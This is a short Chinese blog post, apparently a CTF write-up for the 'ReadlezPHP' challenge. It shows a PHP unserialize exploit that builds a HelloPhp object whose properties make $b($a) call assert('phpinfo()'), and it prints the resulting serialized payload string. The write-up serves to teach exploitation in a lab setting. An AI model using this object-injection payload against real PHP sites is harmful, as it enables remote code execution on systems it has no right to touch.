【反序列化】ReadlezPHP

最新推荐文章于 2025-02-18 15:46:33 发布

malloc_冲！

最新推荐文章于 2025-02-18 15:46:33 发布

阅读量274

点赞数

分类专栏：反序列化文章标签： php

本文链接：https://blog.youkuaiyun.com/serendipity1130/article/details/121317847

版权

反序列化专栏收录该内容

4 篇文章

订阅专栏

本文探讨了如何在无法直接右键查看网页源代码的情况下，通过在URL中输入`view-source`来检查页面内容。进一步，文章讲解了一个PHP反序列化的过程，展示了如何构造一个利用`HelloPhp`类的`assert`函数来执行`phpinfo()`的序列化字符串。这涉及到PHP安全中的反序列化漏洞利用技术。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.打开网页，无法右键查看源代码，在url中输入view-source查看：

2. 进入time.php?source查看到反序列化函数：

3.可以读取到echo的结果是$b($a)，构造序列化函数：

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'phpinfo()';
        $this->b = "assert";
    }
}
$c=new HelloPhp;
echo serialize($c);

//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}